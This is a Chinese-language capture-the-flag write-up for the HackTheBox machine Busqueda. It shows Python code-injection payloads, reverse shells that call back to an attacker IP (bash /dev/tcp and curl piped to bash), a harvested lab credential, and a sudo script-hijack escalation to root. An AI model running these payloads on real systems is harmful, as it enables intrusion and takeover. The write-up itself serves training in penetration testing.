准备:

攻击机:虚拟机kali和win10(常规操作就直接用本机win10来操作了)。

靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Busqueda。

知识点:命令执行、敏感信息发现。

备注:这个说难也难说简单也是很简单,如果要通过命令执行来进行shell反弹可能会有点难度,但是如果通过发现的密码直接去登录就是比较简单的。

一:信息收集

1.nmap扫描

使用nmap扫描下几个常见的端口和对应的服务信息,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.dns解析

访问80端口的web服务时直接跳转到了:http://searcher.htb/,因此需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:10.10.11.208 searcher.htb。

二:信息利用

1.bp抓包

随便进行一个搜索并抓取数据包,然后修改参数1为1'时,返回的信息发生变化,那这里有可能存在注入,但是经过后续测试发现不是sql注入。

2.命令执行

后面在首页发现一个执行github的连接,https://github.com/ArjunSharda/Searchor,在该链接中找到了思路。

该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search("Hello, World!")。整理下思路并在python中进行测试,发现当传递的参数为:1'+print('1')+'时会将print中的字符串进行输出,说明进行了命令执行。

#我们先是传入了一个值给参数query
query = '1'
#然后将我们的参数带入到下面并进行返回
Engine.Google.search(query)
#所以在我们传输1'的时候会进行报错,传入1''的时候又会恢复正常

然后依据格式修改语句在本地进行命令执行,将语句修改为:1'+__import__("os").system("calc.exe")+',成功打开计算器。

然后在抓取的数据包中进行测试,将输入的数据修改为:1'+print('234')+',但是并未执行print语句。后面对+进行了编码后:1'%2bprint('234')%2b',print命令可以正常执行。

3.shell反弹

确定了命令执行的语句格式:1'+__import__("os").system("calc.exe")+',那我们就进行shell反弹,语句:1'%2b__import__("os").system("bash -i >&/dev/tcp/10.10.14.50/6688 0>&1")%2b',但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1'%2bprint(__import__('os').system("id"))%2b',不过这里发现了用户名:svc。

无法反弹shell,那就先查看下是否存在别的可以利用的信息,传递参数:1'%2bprint(__import__('os').system("ls -al"))%2b',发现app.py文件,读取该文件信息:1'%2bprint(__import__('os').system("cat app.py"))%2b',获得app.py内容,但是并没有获取到什么有用的信息。

app.py内容
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess app = Flask(__name__) @app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='') @app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect') if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!") except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!") if __name__ == '__main__':
app.run(debug=False)

继续读取.git目录下的内容,在config文件中发现:http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,发现cody:jh1usoih2bkjaspwe92像是一组账户名,gitea.searcher.htb应该是一个子域名,但是/etc/passwd文件中显示不存在cody账户,存在svn账户,因此使用svc/jh1usoih2bkjaspwe92进行ssh连接,命令:ssh svc@10.10.11.208,成功获得shell权限。

/etc/passwd
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

后面又想到上面既然有命令执行的漏洞了,没道理反弹不了shell啊,就在网上查找资料发现了subprocess函数,我们可以利用如下格式:eval(complie(“要执行的代码”),“<String>”,“exec”)进行shell反弹,exp:1'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl http://10.10.14.50:8000/bash.sh | bash ")','a','single'))%2b',成功获得shell权限。

三:提权

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/python3 /opt/scripts/system-checkup.py *。

查看system-checkup.py文件,显示我们缺少相关的查看权限,那就执行下命令,看有什么提示。

在执行第三个命令:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,的时候告诉我们存在一些错误(因为开始我忘记了切换目录)而并不是权限问题导致无法执行。

报错之后就切换到/opt/scripts目录,发现full-checkup.sh脚本,重新执行上面的命令,发现正常执行,那这里就想到他是调用了full-checkup.sh脚本。

在执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup时他调用的是执行目录下的full-checkup.sh,因此我们就可以在/tmp目录下创建一个full-checkup.sh文件来写入提权命令:chmod +s /bin/bash。这里使用的是wget上传到靶机,然后赋予执行权限(注意下该文件会被删除,如果被删除就重新上传),然后执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup成功获得root权限。

获得root权限后在/root目录和/home/svc目录下分别读取下root.txt、user.txt文件,成功获得两个flag值。

HTB靶场之Busqueda的更多相关文章

  1. 【HTB靶场系列】靶机Carrier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  3. [红日安全]Web安全Day2 - XSS跨站实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  4. [红日安全]Web安全Day3 - CSRF实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  5. [红日安全]Web安全Day4 - SSRF实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  6. [红日安全]Web安全Day5 - 任意文件上传实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  7. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  8. [红日安全]Web安全Day9 - 文件下载漏洞实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  9. [红日安全]Web安全Day12 – 会话安全实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  10. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

随机推荐

  1. Web For Pentester靶场搭建 - XSS

    Web For Pentester是集成了一些简单的Web常见漏洞的靶场,其中有常见的XSS 文件上传 SQL注入 文件包含等常见漏洞,类似于DVWA Web For Pentester搭建 Web ...

  2. Cesium渲染模块之Command

    1. 引言 Cesium是一款三维地球和地图可视化开源JavaScript库,使用WebGL来进行硬件加速图形,使用时不需要任何插件支持,基于Apache2.0许可的开源程序,可以免费用于商业和非商业 ...

  3. C# 动态创建类,动态创建表,支持多库的数据库维护方案

    1.创建表 SqlSugar支持了3种模式的建表,非常的灵活,可以MYSQL MSSQL ORACLE等用同一语法创建数据库,不需要考虑数据库的兼容性 中间标准: string  大文本 5.1.3. ...

  4. Java面试——TCP与HTTP

    更多内容,移步 IT-BLOG 一.Session 和 Cookie 的区别 [1]Cookie 保存在客户端,未设置存储时间的 Cookie,关闭浏览器会话 Cookie 就会被删除:设置了存储时间 ...

  5. 在java中new一个对象的流程是什么?

    Dog dog=new Dog()背后执行过程 这个涉及到字节码文件结构,类加载机制,堆,栈的认识等知识点. 在执行new的时候可以大致分为二个过程,初始化以及实例化,初始化就是类的加载过程,首先我们 ...

  6. HTTP TCP UDP WEBSOCKET

    概念: TCP和UDP:传输层协议:(卡车) HTTP:应用层协议:(货物).HTTP(超文本传输协议)是利用TCP在两台电脑(通常是Web服务器和客户端)之间传输信息的协议.客户端使用Web浏览器发 ...

  7. NIM游戏/SG函数

    NIM游戏 先看一下一维 NIM游戏. 有一堆大小为 \(n\) 的石子,甲和乙轮流从石堆里面拿石子,不能一次拿掉所有石子,取走最后一个石子的人获胜,甲先开始,谁是必胜的? 显然,谁先手,谁就获胜.那 ...

  8. 基于Labelstudio的UIE半监督智能标注方案(本地版)

    基于Labelstudio的UIE半监督智能标注方案(本地版) 更多技术细节参考上一篇项目,本篇主要侧重本地端链路走通教学,提速提效: 基于Labelstudio的UIE半监督深度学习的智能标注方案( ...

  9. 一个 OpenTiny,Vue2 Vue3 都支持!

    大家好,我是 Kagol,OpenTiny 开源社区运营,TinyVue 跨端.跨框架组件库核心贡献者,专注于前端组件库建设和开源社区运营. 今天给大家介绍如何同时在 Vue2 和 Vue3 项目中使 ...

  10. pandas安装1

    Python 官方标准发行版并没有自带 Pandas 库,因此需要另行安装.除了标准发行版外,还有一些第三方机构发布的 Python 免费发行版, 它们在官方版本的基础上开发而来,并有针对性的提前安装 ...